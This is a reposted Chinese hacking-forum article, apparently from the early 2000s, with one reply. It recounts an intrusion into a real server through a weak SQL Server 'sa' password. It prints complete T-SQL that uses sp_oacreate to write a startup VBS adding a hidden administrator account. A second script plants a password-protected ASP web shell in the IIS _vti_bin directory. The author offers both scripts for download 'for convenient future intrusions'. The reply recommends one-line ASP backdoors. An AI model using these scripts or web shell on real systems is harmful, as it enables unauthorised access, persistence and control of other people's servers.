发新话题
打印

[转载]对1433端口SA权限的再突破

[转载]对1433端口SA权限的再突破

文章作者:王亮

黑客X档案青野志狼有一篇文章<<对SA的权限突破>>。文章写到了在知道sql服务器的SA用户名弱密码后,而服务器去掉了SA的xp_cmdshell权限的情况下,如何通过SQL命令恢复SA的xp_cmdshell权限来进行入侵。这样入侵(详细请看原文)的前提是服务器的xplog70.dll没有被删除或改名,这一点青野志狼也谈到了,但是他没有写在xplog70.dll被删掉或改名的情况下的入侵方法。这里就把我曾经在这样情况下一次成功的黑站验给大家分享一下。

  先来看我对xx.41.153.190的扫描结果。x-scan2.3扫描后的详细漏洞表如下:

  [开放端口]21/80/1433/3389 
[sql弱口令]sa(aaa)
[CGI漏洞]
/_vti_bin/fpcount.exe?Page=default.htm|Image=2|Digits=1 [漏洞描述]
/_vti_bin/shtml.dll/nosuch.htm [漏洞描述]
/_vti_bin/shtml.dll [漏洞描述]
/_vti_bin/shtml.dll/_vti_rpc [漏洞描述]
/_vti_bin/shtml.exe [漏洞描述]
  除了这几个漏洞,x-scan2.3再没有扫出别的了,好在有sql弱口令。用sql连接器连上看看吧,可大失所望。dir命令不能执行,好像是服务器去掉了SA的xp_cmdshell权限。

我再用sql的查循分析器来连接SQL服务器恢复cmd_shell权限试试。在sql的查循分析器里写入 sp_addextendedproc xp_cmdshell,@dllname=&#39;xplog70.dll&#39;,但是显示错误。
看样子是xplog70.dll被改名了。抱着试试看看的态度,再用sql连接器连上,执行dir命令,依然依显示图1的情况。
  这种情况下怎么办呢?既然有了sql弱口令,而且sql的查循分析器也可以连接上,当然也可以用它来写一些文本程序在服务器上。再打开查循分析器,在弹出的文本框里写入以下sql脚本命令:



declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate &#39;scripting.filesystemobject&#39;, @o out
---给菜鸟加个简单注释,这两行代码是建立sql的文本对象
exec sp_oamethod @o, &#39;createtextfile&#39;, @f out,
&#39;c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs&#39;, 1
--在启动菜单里写入a.vbs,当然这里只支持中文
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;set wshshell=createobject("wscript.shell")&#39;
--单引号里的都是a.vbs的内容,要一行一行的写,下同。
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;a=wshshell.run ("cmd.exe /c net user lcx 123 /add",0)&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;b=wshshell.run ("cmd.exe /c net localgroup administrators lcx /add",0)&#39;
--a.vbs内容结束
执行查循后,这样就会在服务器的启动程序里写入一个a.vbs脚本。

只要服务器重启,就可以加入一个用户名是lcx,密码是123的管理员用户了。做完这一切后我就开始等待服务器重启了,可是等到花儿也谢了,这个用户也没加成功,我用lcx的用户名和密码123一直也登陆不了3389端口。不知是服务器没重启,还是服务器不是中文系统(因为这个sql脚本只支持中文),还是被管理员发现了,总之就是没加成功。在这之后,我就陷入了深思。于是回头看x-scan的漏洞扫描报告,上安全焦点查了一些扫到的漏洞资料,还是一无所获,扫到的漏洞都没有太大的利用价值。思考中,突然灵光一闪,_vti_bin是一个虚拟目录,在IIS上默认的物理路径是C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\,我可以在这里用sql的查循分析器写入一个asp程序呀。先看看思路对不对,执行_vti_bin/">http://ip/_vti_bin/,返回403错误码。

证明服务器这个虚拟目录是存在的。好了,我开始写sql脚本,一行一行写得好累呀,做个黑客也不容易呀(本想写入海阳顶端网木马xp.net版。可代码太多了):



declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate &#39;scripting.filesystemobject&#39;, @o out
--给菜鸟加个简单注释:还是建立sql程序的文本对像
exec sp_oamethod @o, &#39;createtextfile&#39;, @f out,
&#39;C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\40\\isapi\\lcx.asp&#39;, 1
--在这个目录写入一个lcx.asp文件,没有就生成,你可以根据需要改成别的目录。
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;<% if Request("password")=1234 then&#39;
--单引号里都是lcx.asp代码内容,要一行一行的写呀,我写的是一个改装的cmd.asp,下同。
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;session("password")="lcx"&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;response.redirect Request.ServerVariables("URL")&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;elseif session("password")="" then %>&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;<FORM name="user" method="POST"> <INPUT TYPE=password NAME=password> <INPUT TYPE=Submit VALUE="确认提交"> </form>&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;<%else%>&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;<HTML>&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;<input type=text name=".CMD" size=45 value="<%= szCMD %>">&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;<input type=submit value="执行" class=input>&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;</FORM> <pre>&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;<% Dim oScript,oScriptNet,oFileSys, oFile,szCMD, szTempFile&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;On Error Resume Next&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;Set oScript = Server.CreateObject("WSCRIPT.SHELL")&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;szCMD = Request.Form(".CMD")&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;If (szCMD <> "") Then &#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;szTempFile = "C:\" & oFileSys.GetTempName( ) &#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) &#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39; End If &#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;If (IsObject(oFile)) Then&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;On Error Resume Next&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;Response.Write Server.HTMLEncode(oFile.ReadAll) &#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39; oFile.Close &#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39; Call oFileSys.DeleteFile(szTempFile, True)&#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;End If %> &#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;</BODY> </HTML> &#39;
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,
&#39;<%end if %> &#39;
--好累,代码终于写完了

然后我将这段脚本放在查循分析器里执行,运气不错,服务器的iis是默认安装的,显示命令成功完成。
迫不及待的来看看运行结果吧。

哈,成功了。忘记告诉你,刚才运行的这段sql脚本,会在C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\这个物理目录下,也就是虚拟目录_vti_bin目录下生成lcx.asp这个asp文件,是一个改装的cmd.asp了,密码是1234。输入密码1234后,再来看看,得到一个cmd的网页shell了。


虽然权限不是很大,但是查看服务器敏感信息,黑掉服务器的网页是绰绰有余的。我就用这个lcx.asp在服务器的C:\Program Files\Microsoft SQL Server\MSSQL\Binn这个目录里发现了一个可疑的xplog701.dll文件,和原来的文件大小比较,果然是一个改名的xplog70.dll。也许有的人要说,你可以再将名字改回来呀。我也试过,虽然改过名,也需要重启mssql服务,这个xplog70.dll才可以加载。看样子我的运气到了尽头,在这台机器上再没有得到太多渗透入侵结果了。


  后来我在本机做过测试,我是w2k+sp3+iis5.0+fat32系统,在默认安装情况下,一些默认的虚拟目录用sql 查循分析器大都是可写的,而且这些默认的虚拟目录对应的物理目录都是固定的。除了上文讲到的_vti_bin外,还有像http://ip/printers对应的是C:\WINNT\web\printers,http://ip/对应的是c:\inetpub\wwwroot等等。所以平常说的暴露物理路径的危害由此实例可以管中窥豹了。


  最后,我将本文中两个sql脚本和我改装过的lcx.asp为了大家今后入侵的方便,放在这里供大家下载(同url下的vbs.sql/asp.sql/lcx.asp压缩包里有),如果你今后也遇到同样情况,省去你手工输入的麻烦了,但我可不鼓励你入侵呀。:-)
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

指出这篇文章两个不合理的地方:
1.既然作者也知道可以用&#39;scripting.filesystemobject&#39;对象写文件,可以用wscript.shell执行命令为什么还要写a.vbs到自启动「开始」菜单\\程序\\启动呢?
何不直接在SQL查询器里执行创建用户呢?mssql是sa权限的肯定是可以用wscript.shell对象直接创建用户了。
2.可以写asp到文件那干脆写个一句话的后门。
然后在本地提交ASP后门不是更好?
以前还没一句话的后门我们只能用这种愚蠢的方法,但现在不用这样了。。。。。
在我纯真年少時,有一個女生,她願意爲我失去生命,她意志堅定地說:你再纏著我,我就去死! 在我負笈外地時,有一個女生,她願意等我到下輩子,她溫柔婉約地說:你想成爲我男友?等下輩子!! 在我窮困潦倒時,有一個女生,她願意與我共赴黃泉,她眨著紅眼說:你再不還錢,我和你同歸于盡!

TOP

发新话题